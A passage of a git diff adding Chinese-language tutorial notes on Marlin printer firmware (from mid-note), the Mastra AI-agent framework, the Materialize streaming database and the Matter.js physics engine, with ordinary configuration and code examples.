+#define HEATER_0_PIN PC8
+
+// 启用自动调平与 BLTouch（示例）
+#define BLTOUCH
+#define Z_SAFE_HOMING
+#define Z_SAFE_HOMING_X_POINT 110
+#define Z_SAFE_HOMING_Y_POINT 110
+```
+
+改完后在 PlatformIO 选择对应 `env` 编译。若报错 `error: #error "..."`，按编译器提示逐项更新配置——这是 Marlin 2.x 的 **自迁移向导**。
+
+### 示例 2：切片起始 G-code 与温度等待
+
+下面是一段典型的 **起始 G-code**（可放在 slicer 的「Print Start G-code」），说明 Marlin 如何被主机驱动：
+
+```gcode
+; 关风扇、设单位、用绝对坐标
+M107
+G21
+G90
+
+; 热端 / 热床升温（M109/M190 会阻塞直到到位）
+M140 S60        ; 热床目标 60°C（不等待）
+M104 S210       ; 热端目标 210°C（不等待）
+M190 S60        ; 等待热床到 60°C
+M109 S210       ; 等待热端到 210°C
+
+; 回原点与调平
+G28             ; 全轴 Homing
+G29             ; 自动调平（需已在 Configuration.h 启用 ABL/UBL）
+G1 Z5 F3000     ; 抬 Z 免刮床
+
+; 清嘴、开始首层（示意）
+G1 X0.1 Y20 Z0.3 F5000
+G1 X0.1 Y200 E15 F1500
+G1 X0.4 Y200 F5000
+G92 E0          ; 挤出量归零
+```
+
+若打印中需 **中断加热等待**，可发送 `M108`（需启用 `EMERGENCY_PARSER` 时响应更快）。打印结束常用 `M104 S0`、`M140 S0` 降温，配合 `M84` 关闭步进省电。
+
+### 示例 3：`platformio.ini` 选择编译环境
+
+Marlin 为多板维护独立 environment；你通常只需改 **default_envs** 一行：
+
+```ini
+[platformio]
+src_dir      = Marlin
+boards_dir   = buildroot/share/PlatformIO/boards
+default_envs = STM32G0B1RE_btt
+
+[env:STM32G0B1RE_btt]
+extends = env:STM32G0B1RE
+board   = marlin_STM32G0B1RE
+```
+
+在 VS Code 底部状态栏切换 **Project Environment**，再 **Build** / **Upload**。首次成功编译后，用 `M115` 确认固件版本与 `DETAILED_BUILD_VERSION` 是否为你预期分支。
+
+## 从零上手路径
+
+1. **确认硬件**：主板型号、驱动（A4988/TMC2209…）、探针、热敏电阻类型、机械行程。
+2. **拉匹配版本**：克隆 Marlin 与 Configurations **同一 release 分支**；复制最接近的 example config 到 `Marlin/` 目录。
+3. **改 Configuration.h**：`MOTHERBOARD`、steps/mm、传感器、`EXTRUDERS`、驱动类型、安全选项。
+4. **编译刷写**：PlatformIO Upload；通过 USB 连接后用 Pronterface、OctoPrint、Mainsail（若仍用 Marlin 串口）发 `M115` 验证。
+5. **Tune**：PID `M303`，挤出 `M92 E...`，探针 Z offset `M851 Z...`，满意后 `M500` 保存。
+6. **读文档**： [marlinfw.org](https://marlinfw.org/) 的 Configuration、G-code、Feature 页；改一项查一项，避免凭记忆乱开宏。
+
+## 与 Klipper 如何选
+
+| 维度 | Marlin | Klipper |
+| --- | --- | --- |
+| 架构 | 单 MCU 全包 | 主机 + MCU 分工 |
+| 改配置 | 多数功能要重编译 | `printer.cfg` 重启服务 |
+| 主机依赖 | 无（可纯 SD 打印） | 需要 Linux 类主机 |
+| 步进 timing | MCU 内 Bresenham ISR | 主机算精确时刻表 |
+| 社区机型 | 极多出厂/改装案例 | 增长快，需自行配 cfg |
+| 适合谁 | 入门机、离线、单板 | 高速、共振补偿、多 MCU |
+
+许多玩家 **先用 Marlin 熟悉 G-code 与机械**，再迁 Klipper；二者 G-code 表面相似，但配置哲学完全不同。
+
+## 常见坑
+
+- **配置版本与固件版本不匹配**：从 GitHub 随便下 ZIP 极易踩坑；用 Configurations 仓库 **同名分支**。
+- **引脚抄错**：同系列板（如 SKR Mini E3 V2 vs V3）引脚不同，`MOTHERBOARD` 必须精确。
+- **ABL 未设 Z safe homing**：探针在 bed 外时 `G28` 可能把 nozzle 扎床。
+- **关闭热保护**：Never do this on unattended prints.
+- **Steps/mm 未校准**：XYZ 尺寸不准、E 过度挤出，先校准再怪切片。
+
+## 延伸阅读
+
+- 官方配置：[Configuring Marlin](https://marlinfw.org/docs/configuration/configuration.html)
+- 代码结构：[Code Structure](https://marlinfw.org/docs/development/code_structure.html)
+- G-code 索引：[marlinfw.org/meta/gcode](https://marlinfw.org/meta/gcode/)
+- 对比阅读：本站 [[klipper]] 笔记（主机/MCU 分离架构）
+- 最小 Config.h：[PR #27338](https://github.com/MarlinFirmware/Marlin/pull/27338)（2.1.3+ 只写差异项）
+
+---
+
+Marlin 的学习曲线集中在 **「读 Configuration 注释 + 敢编译 + 会用 G-code 验证」**。它不像 Klipper 那样改 cfg 即生效，但 **单文件固件、离线 SD 打印、海量机型范例** 使它仍是零基础理解 3D 打印机实时控制的最佳入口之一：先搞懂 G-code → 分段 → Planner → Stepper 这条链，再读 `#define` 开关，你会 suddenly 明白切片器里每一行起始 G-code 在指挥管家做什么。
diff --git a/src/content/docs/projects/mastra.md b/src/content/docs/projects/mastra.md
new file mode 100644
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--- /dev/null
+++ b/src/content/docs/projects/mastra.md
@@ -0,0 +1,281 @@
+---
+title: Mastra 学习笔记
+来源: https://github.com/mastra-ai/mastra
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# Mastra 学习笔记
+
+## 一、什么是 Mastra？
+
+想象你要开一家餐厅。
+
+你有一个厨师（大语言模型 LLM），他做菜很厉害，但有几个问题：
+
+1. 他不知道外面今天天气如何（无法调用外部数据）
+2. 他不记得昨天客人点了什么（没有记忆）
+3. 如果他一个人既要炒菜又要算账又要招呼客人，效率很低（单一模型做所有事）
+
+Mastra 就是这家餐厅的"管理系统"——它负责：
+
+- 给厨师配备工具（查天气、翻菜单、记账）
+- 帮厨师记住客人的偏好
+- 把复杂的菜分成几步，交给不同的人配合完成
+- 确保整个餐厅能稳定运营、出了问题能追踪
+
+Mastra 是一个用 TypeScript 构建的 AI 应用框架，专门用来把 LLM 能力变成真正的产品。它支持 40+ 模型提供商，内置 Agent、Workflow、Memory、工具系统等一整套组件。
+
+## 二、核心概念
+
+### 2.1 Agent（智能体）
+
+Agent 是"能自主决策的执行者"。你给它一个目标，它自己决定怎么做。
+
+类比：你是一个餐厅经理，你告诉厨师"做一道客人喜欢的菜"，厨师自己决定用什么食材、怎么搭配、是否需要参考之前的订单。
+
+关键特性：
+
+- **Model Routing**：通过统一接口连接 40+ 模型提供商（OpenAI、Anthropic、Gemini 等）
+- **Tools**：给 Agent 外挂能力，让它能查天气、访问数据库、调 API
+- **Memory**：让 Agent 记住对话历史、用户偏好、语义信息
+- **Multi-Agent**：多个 Agent 协作，一个当"主管"分配任务给"专员"
+
+### 2.2 Workflow（工作流）
+
+Workflow 是"按步骤执行的流程"。每一步做什么、数据怎么流转，全部预先定义好。
+
+类比：餐厅的"套餐制作流程"——第一步备料，第二步煎牛排，第三步摆盘。每一步的输出是下一步的输入，顺序固定，不可跳步。
+
+关键特性：
+
+- **Step**：工作流的最小单元，有明确的输入和输出 Schema
+- **控制流**：支持 `.then()`（串行）、`.branch()`（分支）、`.parallel()`（并行）
+- **State**：步骤之间共享状态，不需要每步都传参
+- **Suspend & Resume**：可以暂停等待人工审批，之后再恢复执行
+
+### 2.3 何时用 Agent，何时用 Workflow？
+
+| 场景 | 选择 |
+|------|------|
+| 任务目标明确，步骤不确定 | Agent |
+| 步骤固定，需要精确控制执行顺序 | Workflow |
+| 需要 Agent 自主决策 | Agent |
+| 需要人工审批环节 | Workflow |
+| 两者结合：Agent 调用 Workflow，Workflow 调用 Agent | 都可以 |
+
+## 三、代码示例
+
+### 示例 1：创建一个简单的 Weather Agent
+
+这个例子展示如何用 Mastra 创建一个能查询天气的 Agent。
+
+```typescript
+import { Agent } from '@mastra/core/agent'
+import { createTool } from '@mastra/core/tools'
+import { z } from 'zod'
+
+// 第一步：定义一个工具——查天气
+const weatherTool = createTool({
+  id: 'weather-tool',
+  description: '根据城市名称获取当前天气',
+  inputSchema: z.object({
+    location: z.string().describe('城市名称，如 Beijing'),
+  }),
+  outputSchema: z.object({
+    weather: z.string().describe('天气描述'),
+  }),
+  execute: async ({ inputData }) => {
+    const { location } = inputData
+    const response = await fetch(`https://wttr.in/${location}?format=3`)
+    const weather = await response.text()
+    return { weather }
+  },
+})
+
+// 第二步：创建 Agent，给它配上一个工具
+const weatherAgent = new Agent({
+  id: 'weather-agent',
+  name: 'Weather Assistant',
+  instructions: `你是一个友好的天气助手。
+    当用户询问天气时，使用 weatherTool 查询并回复。`,
+  model: 'openai/gpt-5.5',
+  tools: { weatherTool },
+})
+```
+
+这里发生了什么：
+
+1. `createTool` 定义了一个叫 `weather-tool` 的工具，它接收 `location` 参数，调用 wttr.in API 返回天气
+2. `Agent` 配置中，`instructions` 是"系统提示词"，告诉 Agent 它的角色和行为准则
+3. `tools` 属性把工具注册给 Agent，Agent 会根据用户请求自行决定是否调用
+
+### 示例 2：创建一个数据处理 Workflow
+
+这个例子展示如何用 Mastra 构建一个多步骤工作流。
+
+```typescript
+import { createWorkflow, createStep } from '@mastra/core/workflows'
+import { z } from 'zod'
+
+// 步骤 1：接收原始消息并转为大写
+const toUpperCaseStep = createStep({
+  id: 'to-upper',
+  inputSchema: z.object({
+    message: z.string(),
+  }),
+  outputSchema: z.object({
+    upperMessage: z.string(),
+  }),
+  execute: async ({ inputData }) => {
+    return {
+      upperMessage: inputData.message.toUpperCase(),
+    }
+  },
+})
+
+// 步骤 2：在大写结果前后加上感叹号
+const addExclamationStep = createStep({
+  id: 'add-exclamation',
+  inputSchema: z.object({
+    upperMessage: z.string(),
+  }),
+  outputSchema: z.object({
+    finalMessage: z.string(),
+  }),
+  execute: async ({ inputData }) => {
+    return {
+      finalMessage: `!!! ${inputData.upperMessage} !!!`,
+    }
+  },
+})
+
+// 组合成完整工作流
+export const textTransformWorkflow = createWorkflow({
+  id: 'text-transform',
+  inputSchema: z.object({
+    message: z.string(),
+  }),
+  outputSchema: z.object({
+    finalMessage: z.string(),
+  }),
+})
+  .then(toUpperCaseStep)       // 先转大写
+  .then(addExclamationStep)    // 再加感叹号
+  .commit()
+
+// 运行工作流
+const run = await textTransformWorkflow.createRun()
+const result = await run.start({
+  inputData: { message: 'hello world' },
+})
+
+console.log(result.result.finalMessage)
+// 输出: !!! HELLO WORLD !!!
+```
+
+工作流程图：
+
+```
+输入: "hello world"
+  │
+  ▼
+[to-upper] → { upperMessage: "HELLO WORLD" }
+  │
+  ▼
+[add-exclamation] → { finalMessage: "!!! HELLO WORLD !!!" }
+  │
+  ▼
+输出: "!!! HELLO WORLD !!!"
+```
+
+## 四、Mastra 的其他重要功能
+
+### 4.1 Memory（记忆系统）
+
+Mastra 的记忆系统分三层：
+
+1. **Message History**：记录对话历史，类似聊天记录
+2. **Working Memory**：存储结构化用户数据（名字、偏好、目标）
+3. **Semantic Recall**：基于语义相似度检索过去的信息，不是关键词匹配
+
+类比：你的短期记忆（刚才聊了什么）、日记本（用户资料）、搜索引擎（回忆相关经历）。
+
+### 4.2 多 Agent 协作
+
+一个 Agent 能力有限，Mastra 支持 Supervisor 模式：
+
+```typescript
+const writerAgent = new Agent({
+  id: 'writer',
+  name: 'Writer',
+  description: '负责撰写和编辑内容',
+  instructions: '你是一位专业作家。',
+  model: 'openai/gpt-5.5',
+})
+
+const supervisor = new Agent({
+  id: 'supervisor',
+  name: 'Supervisor',
+  instructions: '协调 Writer 完成内容创作。',
+  model: 'openai/gpt-5.5',
+  agents: { writer: writerAgent },
+})
+```
+
+主管 Agent 会把任务分派给子 Agent，就像项目经理把任务分给团队成员。
+
+### 4.3 MCP Server
+
+Mastra 可以发布 Model Context Protocol 服务器，把自己的 Agent、工具和资源暴露出去，让其他支持 MCP 的系统也能调用。
+
+### 4.4 生产级能力
+
+- **Evals**：内置评估系统，持续衡量 Agent 表现
+- **Observability**：追踪每个请求的完整链路，方便调试
+- **Studio**：可视化测试面板，可以直接在浏览器里测试 Agent 和 Workflow
+
+## 五、安装与起步
+
+```bash
+# 推荐方式：使用 CLI 脚手架
+npm create mastra@latest
+
+# 或手动安装核心包
+npm install @mastra/core
+```
+
+创建 Mastra 实例（入口文件通常是 `src/mastra/index.ts`）：
+
+```typescript
+import { Mastra } from '@mastra/core'
+import { weatherAgent } from './agents/weather-agent'
+import { textTransformWorkflow } from './workflows/text-transform'
+
+export const mastra = new Mastra({
+  agents: { weatherAgent },
+  workflows: { textTransformWorkflow },
+})
+```
+
+## 六、学习要点总结
+
+1. **Mastra 解决的核心问题**：LLM 本身不能直接用在产品里——它不会调用 API、没有记忆、不可控。Mastra 补齐了这些短板。
+
+2. **Agent vs Workflow 的选择**：不确定步骤用 Agent，确定步骤用 Workflow。两者可以互相调用。
+
+3. **一切都有 Schema**：工具的输入输出、Step 的输入输出、Workflow 的输入输出，都用 Zod 等库定义，提供完整的 TypeScript 类型推断。
+
+4. **从原型到生产**：Mastra 的设计目标就是从 Demo 直接到 Production，不需要换框架。
+
+5. **TypeScript First**：整个生态围绕 TS 构建，与 React、Next.js、Node.js 天然集成。
+
+## 七、进一步学习的方向
+
+- [Mastra 官方文档](https://mastra.ai/docs) — 最权威的参考资料
+- [Mastra Course](https://mastra.ai/course) — 官方免费课程
+- [Studio](https://mastra.ai/docs/studio/overview) — 可视化调试工具
+- [Workflows 实战指南](https://mastra.ai/guides/guide/ai-recruiter) — 通过 AI 招聘官案例理解 Workflow
+- [Multi-Agent 概念](https://mastra.ai/guides/concepts/multi-agent-systems) — 多 Agent 协作模式
diff --git a/src/content/docs/projects/materialize-streaming.md b/src/content/docs/projects/materialize-streaming.md
new file mode 100644
index 000000000..f78f3a01a
--- /dev/null
+++ b/src/content/docs/projects/materialize-streaming.md
@@ -0,0 +1,156 @@
+---
+title: Materialize — 流式增量更新的实时数据库
+来源: https://github.com/MaterializeInc/materialize
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+## 一句话理解
+
+Materialize 像一个"永远自动刷新"的数据库视图——你写好一个查询，它就持续监听底层数据的变化，只把**变动的部分**推送给你，而不是每次从头算一遍。
+
+## 日常类比
+
+想象你在超市收银台排队。传统数据库的做法是：每次有人问你"队伍有多长"，你都从头开始数一遍所有人。Materialize 的做法是：你只需要站在队尾盯着入口，每进来一个人你就加一，每离开一个人你就减一。你永远知道当前队伍的长度，而且几乎不需要额外劳动。
+
+这就是"增量计算"（Incremental Computation）的核心思想。
+
+## 核心概念
+
+### 1. Source（数据源）
+
+Source 是 Materialize 读取外部数据的通道。它可以来自 Kafka 消息队列、PostgreSQL 的复制流、MySQL 的二进制日志、或者一个简单的 Webhook。Source 让 Materialize 能"订阅"数据变化，而不是被动轮询。
+
+### 2. View / Materialized View（视图 / 物化视图）
+
+- **View** 是一个逻辑查询定义，不会存储结果。
+- **Materialized View** 会把查询结果实际存下来，并且当底层数据变化时**自动增量更新**。关键字是 `MATERIALIZED`——告诉 Materialize："别每次都重算，帮我维护好这份结果。"
+
+### 3. Index（索引）
+
+索引让物化视图的查询保持快速。创建索引后，Materialize 会在内存中维护一个加速结构，支持点查和范围扫描。
+
+### 4. Subscribe（订阅）
+
+`SUBSCRIBE` 是 Materialize 的"推模式"。和普通 `SELECT` 不同，它会阻塞并持续返回新产生的变更事件，适合构建实时下游系统。
+
+### 5. Cluster（集群）
+
+Cluster 定义了计算资源的分配方式。你可以把不同的视图分配到不同的集群上，实现资源隔离和水平扩展。
+
+## 与传统方案的对比
+
+| 维度 | 传统数据库 + ETL | Materialize |
+|------|-----------------|-------------|
+| 数据更新方式 | 定时批量搬运，有延迟 | 实时增量更新，毫秒级 |
+| 查询性能 | 数据量大时越来越慢 | 结果预计算，查询即查即得 |
+| 复杂度 | 需要维护 Kafka + Spark + 数据库等多套系统 | 一个 SQL 接口搞定 |
+| 一致性 | 最终一致性 | 强一致性 |
+
+## 代码示例
+
+### 示例一：从 Kafka 消费数据并建立实时聚合视图
+
+假设有一个电商订单系统，订单数据持续流入 Kafka topic `orders`：
+
+```sql
+-- 第一步：创建 Kafka 数据源，实时消费订单消息
+CREATE SOURCE order_stream
+FROM KAFKA CONNECTION kafka_conn (TOPIC 'orders')
+FORMAT AVRO USING CONFLUENT SCHEMA REGISTRY connection csr_conn
+DESCRIBE order_schema;
+
+-- 第二步：创建一个物化视图，实时统计每个商品的总销售额
+CREATE MATERIALIZED VIEW product_sales AS
+SELECT
+    product_id,
+    product_name,
+    COUNT(*) AS total_orders,
+    SUM(price) AS total_revenue
+FROM order_stream
+GROUP BY product_id, product_name;
+
+-- 第三步：随时查询，结果永远是最新的
+SELECT * FROM product_sales ORDER BY total_revenue DESC;
+```
+
+当新订单进入 Kafka 时，`product_sales` 的结果会自动增量更新。你不需要重新运行聚合，Materialize 内部只更新受影响的行。
+
+### 示例二：JOIN 多表 + 实时告警
+
+把库存表和订单表 JOIN，实时监控缺货风险：
+
+```sql
+-- 从 PostgreSQL 实时同步库存表
+CREATE SOURCE inventory_changefeed
+FROM POSTGRES CONNECTION postgres_conn (PUBLICATION 'inventory_pub')
+TABLE ('public'.'inventory');
+
+-- 从另一个 Source 同步订单表
+CREATE SOURCE order_changefeed
+FROM POSTGRES CONNECTION postgres_conn (PUBLICATION 'order_pub')
+TABLE ('public'.'orders');
+
+-- 创建物化视图：关联库存和订单，找出低库存商品
+CREATE MATERIALIZED VIEW low_stock_alert AS
+SELECT
+    i.product_id,
+    i.product_name,
+    i.stock_quantity,
+    COALESCE(o.total_ordered, 0) AS total_ordered,
+    i.stock_quantity - COALESCE(o.total_ordered, 0) AS remaining_balance
+FROM inventory_changefeed i
+LEFT JOIN (
+    SELECT
+        product_id,
+        SUM(quantity) AS total_ordered
+    FROM order_changefeed
+    GROUP BY product_id
+) o ON i.product_id = o.product_id
+WHERE i.stock_quantity < 100;
+
+-- 查询告警列表
+SELECT * FROM low_stock_alert;
+```
+
+`low_stock_alert` 会随着库存变动和订单产生而实时更新。当某个商品库存降到 100 以下时，它会自动出现在结果里——不需要定时任务，不需要 cron。
+
+### 示例三：使用 SUBSCRIBE 实现实时推送
+
+```sql
+-- SUBSCRIBE 会持续返回变更事件，不会结束
+SUBSCRIBE low_stock_alert;
+```
+
+输出类似：
+
+```
+product_id | product_name | stock_quantity | total_ordered | remaining_balance | mz_diff
+-----------|--------------|----------------|---------------|-------------------|----------
+42         | 无线鼠标     | 50             | 30            | 20                | +1
+17         | 机械键盘     | 80             | 55            | 25                | +1
+42         | 无线鼠标     | 45             | 30            | 15                | -5
+```
+
+每一行代表一个变更事件：`+1` 表示新增/增加，`-5` 表示减少 5 个单位。下游系统可以消费这些事件，实时触发告警通知或更新前端页面。
+
+## 典型应用场景
+
+- **运营仪表盘**：替代定时刷新的报表，数据永远最新
+- **AI/RAG 管道的实时上下文**：为 AI 应用提供最新的数据索引
+- **反欺诈检测**：实时 JOIN 多个数据源，识别异常交易模式
+- **数据仓库卸载（Query Offload）**：把复杂查询卸载到 Materialize，保护主数据库
+
+## 为什么值得学
+
+Materialize 把"流处理"这个原本需要掌握 Flink/Spark Streaming 等复杂框架的概念，简化成了几条 SQL 语句。对于已经熟悉 SQL 的人来说，学习曲线非常平缓。它本质上是在告诉你：**不要重新计算，只计算变化的部分。**
+
+这个思想不仅适用于数据库，也适用于很多工程场景——无论是前端状态管理，还是后端缓存策略，"增量更新"都是提升效率的关键思路。
+
+## 参考链接
+
+- 官方文档：https://materialize.com/docs
+- GitHub：https://github.com/MaterializeInc/materialize
+- 在线试用：https://cloud.materialize.com（免费注册即可体验）
diff --git a/src/content/docs/projects/matter-js.md b/src/content/docs/projects/matter-js.md
new file mode 100644
index 000000000..227347df6
--- /dev/null
+++ b/src/content/docs/projects/matter-js.md
@@ -0,0 +1,275 @@
+---
+title: Matter.js — JS 2D 刚体物理
+来源: 'https://github.com/liabru/matter-js'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**Matter.js** 是由 Liam Brummitt（liabru）维护的**开源 JavaScript 2D 刚体物理引擎**，MIT 协议，GitHub 仓库 [liabru/matter-js](https://github.com/liabru/matter-js) 约 18k star。它不负责游戏逻辑、UI 或网络，只回答一个问题：**给定质量、形状、力和约束，下一帧每个物体该在哪里、转多少度**。
+
+日常类比：把 Matter.js 想成**浏览器里的弹珠台裁判**。你在画布上摆好挡板（静态刚体）、弹珠（动态刚体）、橡皮筋（约束），裁判按牛顿力学每帧推进世界，并把新坐标交还给你的 `<canvas>` 或 DOM 精灵。你画美术、写玩法；物理引擎管碰撞、摩擦、弹跳和连锁倒塌——弹弓益智、堆箱子、牛顿摆、布偶 ragdoll 的底层都是这类 2D 求解器。
+
+与 C++ 的 Box2D 不同，Matter.js 是**原生 JavaScript 实现**（不是移植），零编译、CDN 一行 `<script>` 或 `npm install matter-js` 即可在浏览器与 Node.js 中运行。内置 Canvas 渲染器与 `Runner` 循环，也支持完全自定义渲染与 `requestAnimationFrame` 游戏循环。
+
+## 为什么重要
+
+不了解 Matter.js，下面这些事都难以解释：
+
+- 为什么 HTML5 弹弓游戏、教育演示、数据可视化里的「可拖拽积木」可以**共用同一套物理 API**——刚体 + 复合体 + 约束是通用积木
+- 为什么前端选型时经常在 **Matter.js、p2.js、box2d.js** 之间比较——Matter 自带渲染与事件，上手曲线更平缓
+- 为什么物理坐标要用**合理尺度**而不是把 800 像素宽的角色直接当 800「米」——引擎按真实质量/惯量调参，极端尺寸会导致堆叠不稳或穿透
+- 为什么 `Runner` 的固定时间步与页面帧率要分离——`Engine.update` 用离散积分，大 `delta` 会让高速物体**隧道穿透**（tunneling）
+- 为什么「约束（Constraint）」和「碰撞」在引擎里是同一类问题——接触与弹簧、铰链都由**顺序冲量求解器**迭代处理
+
+## 核心要点
+
+### 1. 引擎（Engine）与世界（World）
+
+`Matter.Engine.create()` 创建仿真核心，其中 `engine.world` 是根 **Composite**（复合体），持有本帧所有 **Body**。每调用一次 `Engine.update(engine, delta)`，内部大致顺序为：
+
+1. **Broad-phase（粗检测）**：用网格或树结构筛出可能接触的刚体对
+2. **Narrow-phase（细检测）**：精确求交，生成接触流形
+3. **Solver（求解器）**：对接触与约束施加冲量，修正速度
+4. **Integration（积分）**：用新速度更新位姿
+
+类比：粗检测像快递按区域分拣；细检测像逐件称重；求解器像调解员决定两辆车擦碰后各退多少。
+
+`engine.gravity` 默认 `{ x: 0, y: 1 }`（向下），可按场景改为 `{ x: 0, y: 0 }` 做太空模式，或用 `engine.gravity.scale` 微调强度。
+
+### 2. 刚体（Body）与工厂（Bodies）
+
+| 概念 | 职责 |
+|------|------|
+| **Body** | 位置、角度、线/角速度；`isStatic: true` 时不受力（地面、墙） |
+| **Bodies** | 工厂方法：`rectangle`、`circle`、`polygon`、`trapezoid` 等 |
+| **Vertices** | 凸包顶点；支持 `fromVertices` 从 SVG 路径生成凹形（自动凸分解） |
+
+创建套路：`Bodies.rectangle(x, y, width, height, options)` → `Composite.add(world, body)`。常用选项：
+
+| 选项 | 含义 |
+|------|------|
+| `density` | 密度，影响质量与转动惯量 |
+| `friction` | 库仑摩擦，多在 0～1 |
+| `restitution` | 恢复系数（弹性），0 = 不弹，1 = 完全弹性 |
+| `isStatic` | 静态体，用于地面与固定障碍 |
+| `chamfer` | 圆角，减少尖角卡住 |
+
+一个 **Body** 可包含多个 **Part**（复合形状），`Bodies.rectangle` 返回的即是带 `parts` 数组的刚体。
+
+### 3. 复合体（Composite / Composites）
+
+**Composite** 是「容器」：可嵌套 body 与其他 composite，形成层次结构。`engine.world` 是根容器；`Composites.stack`、`Composites.pyramid`、`Composites.car` 等提供批量生成演示场景的快捷方法。
+
+类比：Composite 像文件夹，Body 像文件——删除文件夹可一次清空关卡，事件也可挂在 composite 上批量监听。
+
+### 4. 约束（Constraint）
+
+**Constraint** 把两个 body（或 body 与空间锚点）用弹簧/杆连接：长度、刚度 `stiffness`、阻尼 `damping`。常见用途：
+
+- 两点间固定距离 → 绳索、链条、摆锤
+- `pointA` / `pointB` 为局部坐标锚点
+- `length: 0` + 高刚度 → 近似焊接（weld）
+
+与 Box2D 的 Joint 类似，但 API 更扁平：`Constraint.create({ bodyA, bodyB, ... })`。
+
+### 5. 运行与渲染（Runner / Render）
+
+| 模块 | 作用 |
+|------|------|
+| **Runner** | 内置 `requestAnimationFrame` 循环，自动调用 `Engine.update` |
+| **Render** | 基于 Canvas 的调试/演示渲染，支持矢量与贴图 sprite |
+
+二者**均可选**：生产游戏常只用 `Engine`，用 PixiJS、Phaser、Three.js（正交相机）或纯 DOM 自行绘制。官方 Wiki 的 [Running](https://github.com/liabru/matter-js/wiki/Running) 与 [Rendering](https://github.com/liabru/matter-js/wiki/Rendering) 页说明如何接管循环。
+
+### 6. 事件（Events）
+
+`Matter.Events.on(engine, 'collisionStart', callback)` 等可监听碰撞生命周期。引擎级事件包括 `beforeUpdate`、`afterUpdate`；body 级可监听 `sleepStart` / `sleepEnd`（休眠优化静止物体簇）。
+
+### 7. 查询与其它能力
+
+- **Query.ray**：射线检测，用于点击选中、子弹命中
+- **Query.region**：矩形区域内有谁
+- **Sleeping**：静止岛休眠，大堆刚体更省 CPU
+- **插件**：`Matter.use` 扩展管线；生态含 [matter-tools](https://github.com/liabru/matter-tools) 调试器
+
+## 实践案例
+
+### 案例 1：最小可运行示例——两箱落地
+
+与官方 [Getting started](https://github.com/liabru/matter-js/wiki/Getting-started) 同构，适合零基础验证环境：
+
+```html
+<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+  <meta charset="UTF-8" />
+  <title>Matter.js 最小示例</title>
+  <script src="https://cdn.jsdelivr.net/npm/matter-js@0.20.0/build/matter.min.js"></script>
+</head>
+<body>
+  <script>
+    const { Engine, Render, Runner, Bodies, Composite } = Matter;
+
+    const engine = Engine.create();
+    const render = Render.create({
+      element: document.body,
+      engine,
+      options: { width: 800, height: 600, wireframes: false }
+    });
+
+    const boxA = Bodies.rectangle(400, 200, 80, 80);
+    const boxB = Bodies.rectangle(450, 50, 80, 80);
+    const ground = Bodies.rectangle(400, 580, 810, 60, { isStatic: true });
+
+    Composite.add(engine.world, [boxA, boxB, ground]);
+
+    Render.run(render);
+    Runner.run(Runner.create(), engine);
+  </script>
+</body>
+</html>
+```
+
+**要点**：脚本放在 `</body>` 前，确保 DOM 已就绪；`isStatic: true` 的地面不会被撞飞；`Runner` 与 `Render` 各跑各的循环，演示够用，正式项目建议合并到统一 game loop。
+
+### 案例 2：自定义循环 + 碰撞事件——弹弓发射计分
+
+不用内置 `Render`，在 `requestAnimationFrame` 里步进物理并同步到 DOM；碰撞时打日志或播音效：
+
+```javascript
+import Matter from 'matter-js';
+
+const { Engine, Bodies, Composite, Events, Body, Vector } = Matter;
+
+const engine = Engine.create({ gravity: { x: 0, y: 1 } });
+const world = engine.world;
+
+const ground = Bodies.rectangle(400, 590, 800, 40, { isStatic: true });
+const target = Bodies.rectangle(700, 520, 60, 60, {
+  label: 'target',
+  render: { fillStyle: '#e74c3c' }
+});
+const ball = Bodies.circle(120, 480, 20, {
+  label: 'projectile',
+  restitution: 0.4,
+  density: 0.002
+});
+
+Composite.add(world, [ground, target, ball]);
+
+Events.on(engine, 'collisionStart', (event) => {
+  for (const pair of event.pairs) {
+    const labels = [pair.bodyA.label, pair.bodyB.label];
+    if (labels.includes('projectile') && labels.includes('target')) {
+      console.log('命中目标！');
+      Body.setStatic(target, true); // 简化：命中后定住
+    }
+  }
+});
+
+// 弹弓：拖拽松手时给球冲量
+function launchBall(pointer) {
+  const force = Vector.sub({ x: 120, y: 480 }, pointer);
+  Body.applyForce(ball, ball.position, Vector.mult(force, 0.0008));
+}
+
+let last = performance.now();
+function loop(now) {
+  const delta = Math.min(now - last, 50); // 封顶，防后台标签页暴冲
+  last = now;
+  Engine.update(engine, delta);
+
+  // 同步到 DOM 或 canvas：读 ball.position、ball.angle
+  const el = document.getElementById('ball');
+  if (el) {
+    el.style.left = `${ball.position.x - 20}px`;
+    el.style.top = `${ball.position.y - 20}px`;
+    el.style.transform = `rotate(${ball.angle}rad)`;
+  }
+  requestAnimationFrame(loop);
+}
+requestAnimationFrame(loop);
+```
+
+**要点**：`Engine.update` 的 `delta` 单位是毫秒；冲量用 `Body.applyForce` 或 `Body.setVelocity`；用 `label` 区分角色比比较 `id` 更易读；`collisionStart` 只触发一次，持续接触用 `collisionActive`。
+
+### 案例 3：约束摆锤（牛顿摆雏形）
+
+```javascript
+const anchor = Bodies.circle(400, 100, 5, { isStatic: true });
+const bob = Bodies.circle(400, 300, 30);
+const rod = Matter.Constraint.create({
+  bodyA: anchor,
+  bodyB: bob,
+  length: 200,
+  stiffness: 0.9
+});
+
+Composite.add(world, [anchor, bob, rod]);
+// 给 bob 初速度后释放，摆锤按约束长度摆动
+Body.setVelocity(bob, { x: 8, y: 0 });
+```
+
+## 安装与集成
+
+**CDN（最快体验）**：
+
+```html
+<script src="https://cdn.jsdelivr.net/npm/matter-js@0.20.0/build/matter.min.js"></script>
+```
+
+**npm + 打包器**：
+
+```bash
+npm install matter-js
+```
+
+```javascript
+import Matter from 'matter-js';
+// 或按需：import { Engine, Bodies } from 'matter-js';
+```
+
+**与游戏框架**：Phaser 3 可用 `matter` 物理插件；PixiJS 只负责画，每帧读 `body.position` 更新 `sprite`；React 项目注意在 `useEffect` 里创建/销毁 engine，避免 Strict Mode 双挂载泄漏。
+
+## 常见坑
+
+1. **忘记把 body 加入 world**：只 `Bodies.rectangle` 不 `Composite.add`，物体永远不会参与仿真。
+2. **静态体被推动**：地面若未设 `isStatic: true` 会被撞飞。
+3. **delta 过大**：标签页切后台再切回，`performance.now()` 跳变会导致一帧穿透；对 `delta` 设上限（如 50 ms）或固定 16.67 ms 子步。
